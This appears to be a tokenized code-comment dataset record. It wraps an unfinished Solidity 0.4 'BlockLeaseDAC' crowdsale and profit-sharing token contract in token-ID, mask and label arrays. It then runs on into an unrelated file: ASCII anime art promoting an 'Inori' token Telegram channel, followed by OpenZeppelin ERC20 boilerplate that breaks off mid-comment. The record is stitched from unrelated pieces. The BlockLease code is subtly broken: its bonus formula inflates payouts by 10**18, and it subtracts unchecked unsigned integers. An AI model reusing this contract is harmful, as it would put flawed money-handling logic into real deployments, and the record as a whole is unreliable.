-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
interface ERC20 {
function name() public constant returns (string _name);
function symbol() public constant returns (string _symbol);
function decimals() public constant returns (uint8 _decimals);
function totalSupply() public constant returns (uint _totalSupply);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface CrowdsaleRegistry {
function isApproved(address _participant) public constant returns (bool);
}
interface DAC {
event Profit(address indexed _from, uint _value, uint _totalProfit, uint _profitInContract);
function pay() external payable;
}
contract BlockLeaseDAC is ERC20, DAC {
struct Proposal {
uint tokensForSale;
uint tokensPerEth;
uint bonusPool;
uint operatorPool;
uint votingBlockCount;
uint blockNumber;
uint totalVotes;
}
/**
* Operators
**/
mapping (address => bool) public operators;
/**
* ERC20 state
**/
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowances;
/**
* Customizable variables by proposal
**/
uint public tokensForSale;
uint public tokensPerEth;
uint public bonusPool;
uint public operatorPool;
uint public votingBlockCount;
/**
* Token state variables
**/
uint public tokensSold;
uint public bonusTokensDistributed;
uint public operatorTokensDistributed;
uint public proposalNumber;
Proposal[] public proposals;
mapping (uint => mapping (address => uint)) votesPerProposal;
bool public lastProposalApplied;
/**
* Total profit ever received (in wei).
**/
uint public totalProfit;
/**
* Total profit that has yet to be withdrawn (in wei).
**/
uint public profitInContract;
/**
* The last totalProfit value that was paid out to the address.
*
* Every time an address token balance changes this is updated.
**/
mapping (address => uint) lastTotalProfitCredited;
/**
* Profits available for withdrawal
**/
mapping (address => uint) profitBalances;
/**
* The address of the crowdsale registry contract
*
* @TODO implement
**/
address public crowdsaleRegistry;
modifier operatorOnly() {
require(operators[msg.sender]);
_;
}
/**
* Constructor
**/
function BlockLeaseDAC(/* address _crowdsaleRegistry */) public {
operators[msg.sender] = true;
/* crowdsaleRegistry = _crowdsaleRegistry; */
lastProposalApplied = true;
tokensPerEth = totalSupply();
votingBlockCount = 3;
proposals.push(
Proposal(tokensForSale, tokensPerEth, bonusPool, operatorPool, votingBlockCount, 0, 0)
);
balances[0x0] = totalSupply();
_transferFrom(0x0, this, totalSupply());
}
/**
* Withdraw funds from the contract for use
**/
function withdraw(address _target, uint _amount) public operatorOnly {
// First throw if amount is greater than balance to avoid sign issues
require(this.balance >= _amount);
// Then ensure we never overdraw on profit held by token owners
require(this.balance - _amount >= profitInContract);
_target.transfer(_amount);
}
/**
* Create a proposal to modify certain state variables
**/
function createProposal(
uint _tokensForSale,
uint _tokensPerEth,
uint _bonusPool,
uint _operatorPool,
uint _votingBlockCount
) public operatorOnly {
if (!lastProposalApplied) applyProposal();
require(!isVoteActive());
require(_tokensForSale >= tokensForSale);
require(_tokensPerEth <= tokensPerEth);
require(_bonusPool >= bonusPool);
require(_operatorPool >= operatorPool);
require(_tokensForSale + _bonusPool + _operatorPool <= totalSupply());
require(_votingBlockCount > 1);
proposalNumber++;
proposals.push(Proposal(_tokensForSale, _tokensPerEth, _bonusPool, _operatorPool, _votingBlockCount, block.number, 0));
lastProposalApplied = false;
}
/**
* Apply a voted upon proposal
**/
function applyProposal() public operatorOnly {
require(!isVoteActive());
require(!lastProposalApplied);
if (proposals[proposalNumber].totalVotes >= circulatingSupply() / 2) {
tokensForSale = proposals[proposalNumber].tokensForSale;
tokensPerEth = proposals[proposalNumber].tokensPerEth;
bonusPool = proposals[proposalNumber].bonusPool;
operatorPool = proposals[proposalNumber].operatorPool;
votingBlockCount = proposals[proposalNumber].votingBlockCount;
}
lastProposalApplied = true;
}
function isVoteActive() public constant returns (bool) {
return (
block.number >= proposals[proposalNumber].blockNumber &&
block.number < proposals[proposalNumber].blockNumber + votingBlockCount
);
}
function vote() public {
require(isVoteActive());
uint previousVote = votesPerProposal[proposalNumber][msg.sender];
proposals[proposalNumber].totalVotes -= previousVote;
votesPerProposal[proposalNumber][msg.sender] = balances[msg.sender];
proposals[proposalNumber].totalVotes += balances[msg.sender];
}
function updateVotes(address _from) public {
if (!isVoteActive()) return;
if (votesPerProposal[proposalNumber][_from] <= balances[_from]) return;
votesPerProposal[proposalNumber][_from] = balances[_from];
}
/**
* Crowdfunding events happen here.
**/
function () public payable {
/* require(CrowdsaleRegistry(crowdsaleRegistry).isApproved(msg.sender)); */
require(msg.value >= minimumPurchaseWei());
uint tokenCount = tokensPerEth * msg.value / 10**18;
require(tokensSold + tokenCount <= tokensForSale);
_transferFrom(this, msg.sender, tokenCount);
}
/**
* The minimum purchase is the cost of 1 token, in wei
**/
function minimumPurchaseWei() public constant returns (uint) {
require(tokensPerEth > 0);
return 10**18 / tokensPerEth;
}
/**
* BlockLeaseDAC profits are received here.
**/
function pay() external payable {
totalProfit += msg.value;
profitInContract += msg.value;
Profit(msg.sender, msg.value, totalProfit, profitInContract);
if (bonusTokensDistributed >= bonusPool) return;
uint bonusTokens = tokensPerEth / 100 * msg.value * 10**18;
if (bonusTokensDistributed + bonusTokens > bonusPool) {
// The edge case of bonus distribution finishing
// Pay out the remainder of the bonus pool
uint actualBonus = bonusPool - bonusTokensDistributed;
_transferFrom(this, msg.sender, actualBonus);
bonusTokensDistributed = bonusPool;
} else {
_transferFrom(this, msg.sender, bonusTokens);
bonusTokensDistributed += bonusTokens;
}
}
/**
* Update the profit for a given address based on the total sent to the profit
* function.
*
* This should be called prior to every token transfer to ensure that profit
* is continuously proportionately settled to token holders.
**/
function updateProfitBalance(address _user) public {
if (lastTotalProfitCredited[_user] >= totalProfit) return;
profitBalances[_user] = latestProfitBalance(_user);
lastTotalProfitCredited[_user] = totalProfit;
}
/**
* Retrieve the up to date profit balance without mutating state
**/
function latestProfitBalance(address _user) public constant returns (uint) {
uint owedBalance = (totalProfit - lastTotalProfitCredited[_user]) * balances[_user] / circulatingSupply();
return profitBalances[_user] + owedBalance;
}
/**
* Helper method to withdraw
**/
function withdrawProfit() public returns (bool) {
return _withdrawProfit(msg.sender);
}
/**
* Withdraw Ethereum dividends
**/
function _withdrawProfit(address _from) public returns (bool) {
updateProfitBalance(_from);
if (profitBalances[_from] <= 0) return true;
uint balance = profitBalances[_from];
profitInContract -= balance;
profitBalances[_from] -= balance;
_from.transfer(balance);
return true;
}
function circulatingSupply() public constant returns (uint) {
return tokensSold + bonusTokensDistributed + operatorTokensDistributed;
}
/**
* ERC20 Implementation
**/
function name() public constant returns (string) {
return 'BlockLease';
}
function symbol() public constant returns (string) {
return 'LEASE';
}
function decimals() public constant returns (uint8) {
return 8;
}
function totalSupply() public constant returns (uint) {
return 1000000000;
}
function balanceOf(address _owner) public constant returns (uint) {
return balances[_owner];
}
function transfer(address _to, uint _value) public returns (bool) {
return _transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(allowances[_from][msg.sender] >= _value);
allowances[_from][msg.sender] -= _value;
return _transferFrom(_from, _to, _value);
}
function _transferFrom(address _from, address _to, uint _value) private returns (bool) {
require(balances[_from] >= _value);
updateProfitBalance(_from);
updateProfitBalance(_to);
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
updateVotes(_from);
updateVotes(_to);
return true;
}
function approve(address _spender, uint _value) public returns (bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowances[_owner][_spender];
}
}
|
* Profits available for withdrawal/
|
mapping (address => uint) profitBalances;
| 15,860,552 |
[
1,
626,
18352,
2319,
364,
598,
9446,
287,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
2874,
261,
2867,
516,
2254,
13,
450,
7216,
38,
26488,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
........
..',;:clodxkkOOOOOkkxdoc:,'.
.;cdkO0KKKKKKKKKKKKKK0OOO00KKK0Odc;.
'cxOKKKKKKKKKKKKKKKKKKKKK0xxO0KKKKKKKKOd:.
'cx0KKKKKKKKKKKK0KKKKKKKKKKKKK0KKKKKKKKKKKKKOd:.
.;d0KKKKKKKKK0OOkkO00KKKKKKKKKKKKKKKKKKKKKKKKKKKKKOl'
.:x0KKKKKKKKK0kxxkO00KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK0o'
.;x0KKKKKKKKK0kxkO0KKKKKKKKK0KKKKKKKKKKKKKKKKKKK00KKKKKKKK0o'
,x0K00KKKKKKKOxk0KKKKKKKKKK000KK00KKKKKKKKKKKKKKK0OO0KKKKKKKKO:.
.lOK0kO0KKKKKKOkOKKKKKKKKKKK0OOKK0O00KKKKKKKKKKKKKKKKOkO0KKKKKKK0d.
'xKKOxO0KKKKK0OO0KKKKKKKKKKKKkk0KKOkOOKKKKKKKK0KKKKKKKK0kxOKKKKKK0Kx.
,kKKOxOKKKKKK0OO0KKKKKKKKK0KKkxOKK0kkkOKKKKKKK0kO0KKKKKKKOddOKKKK0OOKx'
;OK0kxOKKKKKK0kOKKKKKKKKK0O0OkoxKKK0kxk0KKKKKKK0xdk0KKKKKKKOod0KKKKOk0Kx.
:OKKkx0KKKKKK0kkKKKKKKKKK0xxxdooOKKKOkxk0KKKKKKKOooxxOKKKKKKKxokKKKK0kOKKl.
;OK0Ok0KKKKKKKkk0KK00KKKK0kddddxxOKKKOxxk0KKKKK00kddooxOKKKKKK0dxKKKKKOxOK0;
,kKKOk0KKKKKKKkk0KKK00KKKKkooxxO0kOKKKkddk0KKKK000xxkxodxOKKKKKKOxOKKKKKkk0Kx.
.xKK0xOKKKKKKKOxOKKKKOk0KK0xdk0XNN0OKK0kddkKKKKK00kdOKOxodxOKKKKKKkk0KKKK0kOK0c
.oKKKkkKKKKKKKKkk0KKKKOk0KKOxOXNWWWKk0K0kookKKKKK0kdkXWN0xodk0KKKKK0xOKKKKKkk0Kk.
:0KKOxOKKKKKKKOk0KKKKKkdOK0k0NWWWWWXk0K0xddkKKKKKkdkXWWWNKkddxOKKKKKkk0KKKK0kOK0:
.xK0OdkKKKKKKKKkkKKKKKOddOKO0NWWWWWWNOOKKkok0KKKK0xxXWWWWWWXOdox0KKKK0xOKKKKKxloOd.
c0KOxxOKKKKKKK0kOKKKK0xxxO0OKWWWWWWWWKO0KOok0KKKK0kKWWWWWWWWN0xoxKKKKKkkKKKKKO:'ox'
'kKkkkx0KKKKKKK0k0KKK0xxkxkO0NWWWWWWWWNOOKOod0KKKK00NWWWWWWWWWWXxdOKKKKOk0KKKK0ockO;
lKkk0kkKKKKKKKKOk0KK0kxOOxxOKNWWWWWWWWWKO0OddOKKKKOKWWWWWWWWWWWWXOOK00KOk0KKKKKxd0K:
'kOk00xOKKKKKKKKkkKK0xoxOOxdk00000KXNWWWN0OOdokKKK0OKWWWWWWWWWWWWWXO0000kk0KKKKKkdOKc
,xO0K0kOK0KKKKKKkkK0kdk0XN0kXNNNNXKKXNWWWXkdxod0KK0OXWNNNWWWWWWWWWN0O000kxOKKKKKOdkKc
.cOOOK0k000KKKKKKkO0kxOXNNNK00OkxkKNWWWWWWW0ddooOKK0OXX00OOOOKNWWWWWKOkOKOdOKKKKK0xx0c
'okOxOKOkOOOKKKKK0kkkxxdoolloodkOOkk0NNWWWWWNkoddkKKOONWNXXXK0OOO0XNWXOxxk0kk0KKKK0xdOc
.,c;ckO0KkxkkOKKKKK0xoc::ldxc. .;lOXXNNWWWWWNkoxxx00OKN0kkOO0KXNX00000kOkxk0Ok0KKKKkxO:
... 'x0KOddxxOKKKKK0d;,oKkdOk, ...:xONWWWWWWWWNkxXKkOOONNX0kxxddx0NWWNXOkKKkOOOkO0KKKkk0l.
.c00kdkxdxO0KKKK0kkKNWo.':,..,.:KWNWWWWWWWWN0XWN0kOKWWKxoo;....;lONWX0X0xOKOkxkOKKkOK0d'
.l0OxdOKkddx0KKKK0k0WWWk,,::;;cdONWWWNWWWWWWWWWWWKk0NWWXkkXx. . .;cl0NNKkxOKKK0Okk0kkK0Okl.
,dkooxO0KOdodOK00K0k0WWWXx:;;;;:xNWWWWWWWWWWWWWWWWX0XWWWXc'c,.....dKl;kXkxkk0000K0Okxk00kdoc;.
.,c:..lk0000xook00000kOWWWWNXK000KNWWWWWWWWWWWWWWWWWWWWWWWKc,c:,;c;;0WOldOxxkxO00000kxxdkO0k:...
... .oOOOO0xolxOOOO0kONWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNx:;;::o0KNWXXKkdxxdO0OOOOxxxxl;dOOc.
'xOOOOkdoloOOOOOkkXWWWWWWWWWWWWWWWWWWWWWNNWWWWWWWWWWWWNX0kxxxKWWWWN0xxkxdkOOOOkxddx, .:kk:
:kOkkkxdxolxOkkOkxKWWWWWWWWWWWWWWWWWWWWNK0XNWWWWWWWWWWWWWWWWWWWWWWKkdxkddkkOOkxddko. 'ld'
.dkkkkxodxdldkkkkkxKWWWWWWWWWWWWWWWWWWWWNXXNWWWWWWWWWWWWWWWWWWWWWWNOddxxddkkkkxdodkc .,;.
:kkkkxdoxxxooxkxkkx0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWN0xddxxddxkkkdodxkl. ..
.okxxxdodxdddldxxxxdkNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWKxdxxxdodxxxxoloxko.
,xxxxdoodddddllxxxxdxKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWXOxxxxdoloxxxdlcoxxx,
.cxdxxolddddddoloxxxddONWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNOddddoloodxxxdllodxxc.
.oxdxdlodooddoolldxxxod0NWWWWWWWWWWWWWWWNXXXXNWWWWWWWWWWWWWWWWWWXkddooollooodxxolllddxl.
;ddddolooooooooocoddxoldOXWWWWWWWWWWWWWWNNNNXNWWWWWWWWWWWWWWWNXOdoooooollccldddolllodxd'
,ddddlloooollooollddddloodkKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNKOdoooloooc:::cldddollloddd;
.cdddlcooooolllolcldddllooodOXNWWWWWWWWWWWWWWWWWWWWWWWWWNKOxooooollloolloolodddolllodddc.
.lddoclllloolllocloddllllloxkOKNWWWWWWWWWWWWWWWWWWWWN0kxollllllllcllllllllldddlllcodddl.
'odolclllloolcllclddolccldkkkkO0XNWWWWWWWWWWWWWNXKOdlccllllloollllllllllllddolllcodddc.
'odocclllodolclccodoccclkXKOkkkkO0XXNWWWWNNXK0Okxollcccllllddollcclllllllddolllcodol'
.ldolccloddolclcldoccccOWWX0OkkkkkkO0000OOkkkkkdllllccclcloddolcccllllclddolcclol,.
.,loolccoddl::::ooccd0XWWWWXKOkkkkkkkkkkkkkkkOOxllllccclcldddolccllccclddlccclc.
.':olccl:,...'colkNWWWWWWWWNKOkkkkkkkkkkkkk0NW0lclccccccldddlcclcccclddlcc:;.
.,:c:......;lo0WNXNWWWWWWWNXK0OkkkkkkkOkOXWXdclccccccccc:;;;::cccodocc,.
.,'.....'cdKMWNXXNWWWWWWWWWXKK00KKX0O0NMXl',;:ccccc;.....,:c:codl,.
.......;dKMWMMNXNXNWWWWWWWWWWWWNXKXWMMNc ...',;,.....';::coo:.
.......................,oKWMMMMMWWNNNNWWWWWWNNNNNWMMMMWd. .. ...........col'
.........................';cllc:c0MMMMMMMMMWWXXXXNXXKXWMMMMMMMMk. ...:;..........'lo;.
............................,ldddodl,cKWWWMMMMMWX00K0OOKOO0NMMMMMMXc......,l;,;;,.....:oc'...........
.............................:ooododo,.cxooddkOKKOkO000KK0Ok0NNXKKOl,......,llcodol;..'cc'...............
.............................'cdoodddol,;c,'''',;:lkXNNNKXNOolcc:;,';l;....,clccooodl,.;:'..................
.............................;odoooddodccc,',,',,,';oxdlldo;,'',,',';l;...,locclllodo:','....................
.............................,lddoloodoollc,',,','......,'.....','',';l;..,lolcccccoddc'......................
............................,lddolccodoolll;',,,,'......,,.....',,,,':o,.'cdoccclcclodl,......................
...........................,lddol:',odollll;',,',,,,'..'lo,..',,',,,'cl'.:odlc:col:lodc'.......................
............................:oddol, .ldolool:','''''....:kx; ....''';l:.,ldolc;'lo:lloc'.......................
...........................'lddooo,.'ldololc;''''......:oOkc. .....'';:'.:ddol:..:occlo;........................
...........................;odolod,.'cdolol;'',,,,','.ckkO0d..',,,,,,,::;lddoc...coccol,.......................
..........................;odolclddlodoooolc:,,''',':k0KNN0c.''',;cc::clodolc:::c:;lo:........................
..........................;oolc'.,:loolodxxc;:::;,':xKNWWNXO:;cccc:,:xOxddo:'.....;ol,........................
............... ..........,ldl:....:olodoc;'..',cllkKWWMWNNXkdddxl..;lddodl' ..;oo;.........................
.............. ..........cdo;..:ooloodc.......:kKXWMMMWNNWXKXNK:....:odoclc,..,lo:...... .................
............... ........,oo;..;lolodl,.......'xWWMMMMWNNMMMMWx.....cddl;':xxcco:..... ...................
.............. ........:dc..':lodo;.........;KMMMMMWNNMMMM0;....'lddl'.;dolo:..... ...................
............... .......lo,.,coooc,..........oNMMMMWNNMMMNo.....'lddc,cd:;l:..... ....................
............... ......,ol,;looclo:.........'kWWWWWNNMMWk,.....'ldoooo,'cc.... ....................
................ .....;olclol:,:dl,........:KWNXNNNMMK:......'cddo:..;c'... ....................
................ .....:llllc,...coc'.......oNWWWNNMNd........:odo:',:;... .....................
................. .....;llc:.....'coc'.....,kWWWXNMO,.......:llool:::'. .....................
.................... .....:cc;.......'coc'....:kKWNNXc......'lo;,looc:;.. ......................
..................... ....;cc;.........'coc'...'oNWNx......cdc'..:lo:,'.. .......................
...................... ....,cc;...........':lc'..'kW0;....;ol,....:ll;.............................
....................... ...;:c;..............:lc;'c0o...,lo;......;lc'.............................
........................ .';,::................cxocl,..:xo'.......;l:.............................
* https://t.me/Inoriportal
* Inori Yuzuriha
* Cold-Blooded
* Destroyed by Love & Kills without hesistation
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
function sync() external;
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
